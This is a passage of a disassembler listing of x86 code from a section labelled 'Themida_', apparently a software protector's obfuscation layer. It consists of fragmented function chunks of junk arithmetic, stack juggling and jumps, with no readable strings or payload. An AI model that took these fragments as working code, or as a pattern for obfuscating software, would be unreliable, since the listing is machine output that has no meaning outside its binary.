jmp loc_56AE7F
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_567147: ; CODE XREF: sub_561541+12BFCj
and eax, esi
mov esi, [esp+0]
push eax
jmp loc_563888
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_567152: ; CODE XREF: sub_56651E+963Dj
sub edi, 5BBF0CCCh
sub edi, 43005ECFh
pop ebp
sub edi, 4
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
xor edi, [esp+4+var_4]
jmp loc_56C7EB
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_567173: ; CODE XREF: sub_561541+10D75j
mov ecx, 796617CCh
or eax, ecx
pop ecx
neg eax
or eax, 71A264E5h
sub eax, 35E46C72h
xor eax, 0D15246F9h
and esi, eax
pop eax
shl esi, 2
sub esi, 0F6BBF53Dh
jmp loc_56554D
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
loc_56719D: ; CODE XREF: Themida_:0056BA8Cj
mov eax, 2
add ecx, eax
mov eax, [esp]
add esp, 4
xor ecx, [esp]
jmp loc_565933
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_5671B2: ; CODE XREF: sub_56F3B2-E974j
mov ebx, 0EA82F20h
jmp loc_562C1F
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
loc_5671BC: ; CODE XREF: Themida_:005664E8j
mov [esp], ecx
mov ecx, 40144F2Ch
push edi
mov edi, 0A95554Bh
push edi
jmp loc_56999C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_5671D0: ; CODE XREF: sub_56B577+54j
sub ebp, 35346307h
jmp loc_5691DC
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568CD2
loc_5671DB: ; CODE XREF: sub_568CD2+14j
pop ebx
jmp loc_566DCD
; END OF FUNCTION CHUNK FOR sub_568CD2
; =============== S U B R O U T I N E =======================================
sub_5671E1 proc near ; DATA XREF: Themida_:0055FE90o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 005617C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056251E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563A21 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005665B5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00569772 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B9DE SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056D7FB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0057380D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00573EE4 SIZE 00000025 BYTES
mov ax, [esp+0]
sub esp, 4
mov [esp+4+var_4], edi
push 7914h
mov [esp+8+var_8], esp
jmp loc_56251E
sub_5671E1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5726FB
loc_5671F8: ; CODE XREF: sub_5726FB+1j
mov edi, esp
jmp loc_56BEB4
; END OF FUNCTION CHUNK FOR sub_5726FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_5671FF: ; CODE XREF: sub_571F6F-301Bj
mov cl, ah
mov eax, [esp+0Ch+var_E+2]
jmp loc_56BB08
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572D45
loc_567209: ; CODE XREF: sub_572D45-108CCj
neg eax
push 0ECAh
mov [esp+10h+var_10], ebp
push ebx
mov ebx, 0F650175h
xor ebx, 10963D73h
push edx
mov edx, 480F5094h
inc edx
inc edx
add edx, 892F4A6h
xor ebx, edx
jmp loc_570250
; END OF FUNCTION CHUNK FOR sub_572D45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_567234: ; CODE XREF: sub_571F6F+2886j
shr ecx, 6
push eax
mov eax, 71C90975h
and eax, 32D541A4h
sub eax, 4CE449Ch
jmp loc_572287
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_56724C: ; CODE XREF: sub_574DC1-4637j
mov ebp, [esp+0Ch+var_C]
add esp, 4
push ebp
jmp loc_5684E3
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_567258: ; CODE XREF: sub_574896-EAC0j
push 271Dh
mov [esp+0], ebp
push 4
pop ebp
sub eax, 4F4D4372h
add eax, ebp
jmp loc_5670A0
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DAB2
loc_567272: ; CODE XREF: sub_56DAB2+6576j
mov [esp+8+var_8], esi
mov esi, esp
jmp loc_566596
; END OF FUNCTION CHUNK FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_56727C: ; CODE XREF: sub_56F782-DA49j
xchg ebp, [esp+4+var_4]
jmp loc_5643BF
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_567284: ; CODE XREF: sub_564D26+9C6Dj
pop edx
pop edx
push edi
mov edi, 0DA27F7Eh
sub edx, edi
pop edi
jmp loc_560F8D
; ---------------------------------------------------------------------------
loc_567294: ; CODE XREF: sub_564D26-354Bj
and eax, edx
pop edx
or edx, eax
jmp loc_563231
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_56729E: ; CODE XREF: sub_56E05C-AC18j
mov [esp+0], esi
jmp loc_56A6EB
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_5672A6: ; CODE XREF: sub_571088-E11Bj
pop eax
jmp loc_5688B9
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5672AC: ; CODE XREF: sub_56AB5E-47BCj
add esp, 4
jmp loc_56C9FA
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5672B7: ; CODE XREF: sub_563A7F-389Ej
add esp, 4
sub edi, esi
jmp loc_5654BE
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_5672C1: ; CODE XREF: sub_563FA2+5318j
mov eax, ebx
pop ebx
jmp loc_56D4F1
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_5672C9: ; CODE XREF: sub_563207+2785j
pop ebp
sub esp, 4
mov [esp+10h+var_10], esi
mov esi, 173B9438h
xor ebp, esi
pop esi
push 3F9Bh
mov [esp+10h+var_10], ebx
jmp loc_562190
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
loc_5672E5: ; CODE XREF: Themida_:0057315Bj
imul cx
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
push esi
mov esi, 4
jmp loc_56A1E7
; ---------------------------------------------------------------------------
loc_567304: ; CODE XREF: Themida_:0056BB45j
mov ebx, 1F265C09h
add ecx, ebx
jmp loc_574D06
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_567310: ; CODE XREF: sub_566078+2A7Bj
push ecx
mov ecx, esp
jmp loc_568F21
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
loc_567318: ; CODE XREF: Themida_:0056B372j
pop ebx
jmp loc_5754EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56731E: ; CODE XREF: sub_561418+DA42j
add esi, 4
xchg esi, [esp+14h+var_14]
pop esp
push edi
jmp loc_568E2D
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56671D
loc_56732B: ; CODE XREF: sub_56671D+6j
mov [esp+4+var_4], ebx
mov ebx, esp
push esi
mov esi, 70BB7C40h
add esi, 8F4483C4h
add ebx, esi
mov esi, [esp+8+var_8]
add esp, 4
push esi
push ebp
mov ebp, 4
mov esi, ebp
pop ebp
add ebx, esi
jmp loc_5611DC
; END OF FUNCTION CHUNK FOR sub_56671D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_567358: ; CODE XREF: sub_574F16-9EFj
sub dl, ch
add dl, 0F6h
pop ecx
and cl, dl
pop edx
xchg dh, cl
xchg ch, dh
not ch
xchg ch, dh
jmp loc_566B50
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56736E: ; CODE XREF: sub_561418+AE0Cj
add esi, edx
add esi, 3DBF2D46h
jmp loc_5623BB
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56637E
loc_56737B: ; CODE XREF: sub_56637E+3167j
mov eax, [esp+4+var_4]
add esp, 4
pop small word ptr [eax]
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56637E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56738C: ; CODE XREF: sub_5620B7-1B97j
mov cl, 28h
sub esp, 4
mov [esp], edx
mov dl, 0C7h
sub dl, 6Dh
jmp loc_562FBB
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56739E: ; CODE XREF: sub_565632+A21Aj
push 382Bh
mov [esp+8+var_8], ecx
jmp loc_570971
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_5673AB: ; CODE XREF: sub_566DFE+ABB3j
shl eax, 4
jmp loc_567A5A
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_5673B3: ; CODE XREF: sub_5620B7+3j
add bh, 0BAh
push cx
mov ch, bh
not ch
mov bh, ch
jmp loc_5653D3
; END OF FUNCTION CHUNK FOR sub_5620B7
; =============== S U B R O U T I N E =======================================
sub_5673C3 proc near ; CODE XREF: sub_570E27+41FAj
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0056107E SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00562E8D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056408B SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00564E7D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566125 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005664C7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056669E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567CE8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568292 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056982C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569CE4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056A4E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A968 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056AED6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B0AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C2FB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CC73 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005701A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005712EB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005724C3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573BA7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00573E92 SIZE 0000000F BYTES
push ebx
jmp loc_56669E
sub_5673C3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5673C9: ; CODE XREF: Themida_:005734A2j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_56CB4C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_5673DD: ; CODE XREF: sub_56BD44-9C3Ej
push 2540h
mov [esp+14h+var_14], edx
push ecx
mov ecx, 6FF40CCEh
and ecx, 6C56A98h
shr ecx, 7
neg ecx
jmp loc_56DB32
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_5673FB: ; CODE XREF: sub_569B75+789Bj
xor eax, 0DA4EE496h
push eax
pop ebp
pop eax
sub esi, 3B9424EFh
add esi, 66CE3365h
sub esi, ebp
sub esi, 66CE3365h
push edx
mov edx, 3B9424EFh
add esi, edx
pop edx
pop ebp
jmp loc_56119E
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_567426: ; CODE XREF: sub_567B29+8C04j
add esp, 4
mov eax, [esp+0]
push edx
jmp loc_56D9FC
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56ACDE
loc_567435: ; CODE XREF: sub_56ACDE+Cj
push eax
mov eax, 105D57ADh
sub edi, eax
jmp loc_56BA33
; END OF FUNCTION CHUNK FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_567442: ; CODE XREF: sub_56D69D-16E4j
xchg ebp, [esp+8+var_8]
pop esp
push esi
mov esi, 10ED59D9h
or esi, 29932AAh
shl esi, 3
jmp loc_572DA4
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_56745A: ; CODE XREF: sub_566117-2A99j
mov esi, [esp+8+var_8]
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 4
add eax, edx
pop edx
push eax
push [esp+10h+var_C]
pop eax
pop [esp+10h+var_10]
jmp loc_573EAD
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56747C: ; CODE XREF: sub_5678CB+CAEFj
push [esp+4+var_4]
pop ecx
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+4+var_4]
jmp loc_5657E4
; END OF FUNCTION CHUNK FOR sub_5678CB
; =============== S U B R O U T I N E =======================================
sub_56749A proc near ; DATA XREF: Themida_:0055FED4o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056017D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056137C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005621DF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00563D3D SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00564DB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00566F7D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569251 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A802 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0057250C SIZE 00000006 BYTES
mov ax, [esp+0]
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
push edi
jmp loc_563D3D
sub_56749A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5674AF: ; CODE XREF: sub_57354D-B88Ej
mov [esp+4+var_4], ebx
add [esp+4+var_4], 5DB21066h
pop ebp
sub ebp, 5DB21066h
push ebp
xor [esp+4+var_4], 47252180h
jmp loc_571C39
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56513E
loc_5674CD: ; CODE XREF: sub_56513E+Cj
mov [esp+8+var_8], esi
push ebx
jmp loc_56B2FA
; END OF FUNCTION CHUNK FOR sub_56513E
; ---------------------------------------------------------------------------
loc_5674D6: ; CODE XREF: Themida_:005709DFj
xor edx, 30C9932Ch
mov ecx, edx
pop edx
dec ecx
sub ecx, 70B1636Dh
xor ecx, 0C07C29F7h
jmp loc_56E777
; ---------------------------------------------------------------------------
loc_5674F1: ; CODE XREF: Themida_:00565BDAj
pop ebx
jmp loc_5708FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_5674F7: ; CODE XREF: sub_56A7FB+A7A5j
mov ch, 6Dh
jmp loc_56CD5B
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_5674FE: ; CODE XREF: sub_561F05-18Bj
mov [esp+8+var_8], ebx
push ecx
push ebx
mov ebx, 30164DF5h
mov ecx, ebx
pop ebx
jmp loc_56F0B9
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_567510: ; CODE XREF: sub_5605BC+EF1Dj
pop edi
xor edx, [esp+24h+var_24]
xor [esp+24h+var_24], edx
jmp loc_56B0C6
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_56751C: ; CODE XREF: sub_5722C8-4DC0j
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp+4+var_4], edi
push dword ptr [esp+4]
push [esp+8+var_8]
pop edi
add esp, 4
pop [esp+4+var_4]
mov esp, [esp+0]
jmp loc_569270
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56754C: ; CODE XREF: sub_56FA15-4740j
mov cl, 76h
jmp loc_574E4D
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_567553: ; CODE XREF: sub_57236D-C50j
pop esi
sub eax, 4
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
mov [esp-4+arg_0], ecx
push esp
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
push esi
mov esi, esp
add esi, 4
jmp loc_56CAB6
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_567577: ; CODE XREF: sub_57549C-665Bj
mov [esp+0Ch+var_C], edx
mov edx, 0E5C0EB8h
jmp loc_5623E7
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_567584: ; CODE XREF: sub_567D31+4BCCj
pop ecx
not esi
inc esi
add esi, 36AD43A8h
add ecx, esi
pop esi
push esi
push ebx
jmp loc_563238
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_567598: ; CODE XREF: sub_574656-C8AAj
add ebx, ebp
pop ebp
sub esp, 4
mov [esp+4+var_4], ebx
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
pop esp
push 4307h
mov [esp+0], edi
push ecx
push 11086C2Fh
mov ecx, [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], esi
jmp loc_5640F7
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_5675C6: ; CODE XREF: sub_56C3E2-4488j
push edx
push edi
push 42AA7B7Fh
pop edi
add edi, 2F087DC3h
not edi
inc edi
xor edi, 87AB5905h
jmp loc_564078
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
loc_5675E2: ; CODE XREF: Themida_:0056C5D0j
pop eax
add [esp+4], ebx
mov ebx, [esp]
jmp loc_568D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_5675EF: ; CODE XREF: sub_574304-E50j
add esp, 4
push edx
jmp loc_56DE58
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_5675FB: ; CODE XREF: sub_574A21-3EEAj
push 6E3802A3h
pop eax
dec eax
push ebx
mov ebx, 124C21FCh
jmp loc_56891A
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_56760D: ; CODE XREF: sub_560844+4BF5j
push edx
mov edx, 1E3D6924h
push esi
jmp loc_56E5A4
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_567619: ; CODE XREF: sub_5606E3+1j
mov ebp, 0E7123ECh
dec ebp
and ebp, 7EFE43ABh
jmp loc_560525
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5683C0
loc_56762A: ; CODE XREF: sub_5683C0+Aj
pop edx
push esi
push 4
jmp loc_562BB0
; END OF FUNCTION CHUNK FOR sub_5683C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_567636: ; CODE XREF: sub_56651E+CFD8j
shl ebp, 2
push edx
mov edx, 5430DECh
sub ebp, edx
jmp loc_5691AB
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D4B8
loc_567646: ; CODE XREF: sub_56D4B8+2Dj
mov edi, 40DF3D39h
or edi, 50C97F5Bh
shl edi, 5
shr edi, 1
shl edi, 6
jmp loc_56656B
; END OF FUNCTION CHUNK FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD13
loc_56765E: ; CODE XREF: sub_56CD13+2A49j
mov edx, 4
add eax, 1C1834E6h
add eax, edx
sub eax, 1C1834E6h
pop edx
xchg eax, [esp+8+var_8]
pop esp
push 5E12h
mov [esp+8+var_8], eax
push ebp
mov ebp, esp
add ebp, 4
jmp loc_56A00F
; END OF FUNCTION CHUNK FOR sub_56CD13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_56768A: ; CODE XREF: sub_570B3C-4D1j
pop esi
sub ebx, eax
jmp loc_569099
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5750DE
loc_567692: ; CODE XREF: sub_5750DE+20j
add ebp, edi
sub ebp, 276D3581h
pop edi
mov ecx, ebp
pop ebp
sub eax, ecx
jmp loc_5704CA
; END OF FUNCTION CHUNK FOR sub_5750DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568CD2
loc_5676A5: ; CODE XREF: sub_568CD2+8997j
mov [esp+0], eax
jmp loc_561618
; END OF FUNCTION CHUNK FOR sub_568CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_5676AD: ; CODE XREF: sub_56FCD7-6DBBj
add edx, edi
jmp loc_567BA7
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_5676B4: ; CODE XREF: sub_56657A-3378j
mov ecx, 728E2045h
sub edx, 342D238Fh
sub edx, ecx
add edx, 342D238Fh
push [esp+8+var_8]
pop ecx
add esp, 4
add edx, 0CF9E9B08h
jmp loc_56A2C3
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_5676D9: ; CODE XREF: sub_56628B+80BEj
mov edi, ebp
pop ebp
push edi
jmp loc_571221
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_5676E2: ; CODE XREF: sub_574656-1233j
pop eax
push 3DE9h
mov [esp+0Ch+var_C], edi
push edx
push 78F679DDh
pop edx
neg edx
add edx, 571C1D0Eh
jmp loc_565290
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_5676FF: ; CODE XREF: sub_569A75+8107j
add esp, 2
push edx
mov dh, 0F8h
add dh, 1
sub dh, 9Eh
jmp loc_56939A
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_567710: ; CODE XREF: sub_56D359-BC1Fj
add esp, 4
add [esp+10h+var_C], 6A99708Ch
pop edx
mov eax, [esp+0Ch+var_C]
jmp loc_56FC5D
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560056
loc_567724: ; CODE XREF: sub_560056+9AEj
sub esi, 5E357C1Eh
sub esp, 4
mov [esp+8+var_8], edx
push esi
mov edx, [esp+0Ch+var_C]
push ebx
mov ebx, esp
jmp loc_573FEC
; END OF FUNCTION CHUNK FOR sub_560056
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56773F: ; CODE XREF: sub_5754DA-B2AFj
add al, ch
jmp loc_56460C
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_567746: ; CODE XREF: sub_56657A+17j
mov ebp, [esp+8+var_8]
add esp, 4
push ebx
sub esp, 4
jmp loc_5669CE
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_567758: ; CODE XREF: sub_5753A5-11D90j
add edx, 4
push esi
push edx
mov edx, 36506F58h
jmp sub_56DD54
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56776A: ; CODE XREF: sub_574656-9C7Dj
mov [esp+0], ecx
mov ecx, esp
push esi
mov esi, 195807E3h
shl esi, 5
jmp loc_56E0A5
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56777D: ; CODE XREF: sub_56102D+1B65j
pop ebp
pop dword ptr [esp+0]
jmp loc_5700E2
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_567786: ; CODE XREF: sub_56AB51+5CC8j
xor ecx, edx
pop edx
sub eax, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
sub eax, 437E0382h
sub eax, esi
add eax, 437E0382h
push edx
jmp loc_575361
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_5677A6: ; CODE XREF: sub_56102D+C615j
pop edi
jmp loc_56229B
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5677AC: ; CODE XREF: sub_5678CB+556Aj
push edx
mov edx, 568906FEh
jmp loc_5634A8
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_5677B7: ; CODE XREF: sub_56E126+47C6j
shl ebx, 5
push eax
jmp loc_5735A0
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_5677C0: ; CODE XREF: sub_57549C-11132j
add eax, edi
pop edi
pop edi
sub eax, 24537A5Ch
push 2FA3h
mov [esp+8+var_8], ebp
mov ebp, 1DFC48E7h
and ebp, 25A56EE6h
add ebp, 0BED7992h
jmp loc_5685E2
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_5677E7: ; CODE XREF: sub_563DCB-E66j
add esp, 4
add al, dh
mov dx, word ptr [esp-8+arg_4]
add esp, 2
sub esp, 4
mov [esp-8+arg_4], ecx
mov cl, 6
jmp loc_5702BB
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_567806: ; CODE XREF: sub_561541+C6CFj
add esi, 3FBA17CAh
push eax
jmp loc_5722B0
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_567812: ; CODE XREF: sub_574656-BA2Cj
add esp, 4
or edi, 35323FC7h
xor edi, 35737FCBh
add ebx, 6BE70014h
add ebx, edi
jmp loc_56D060
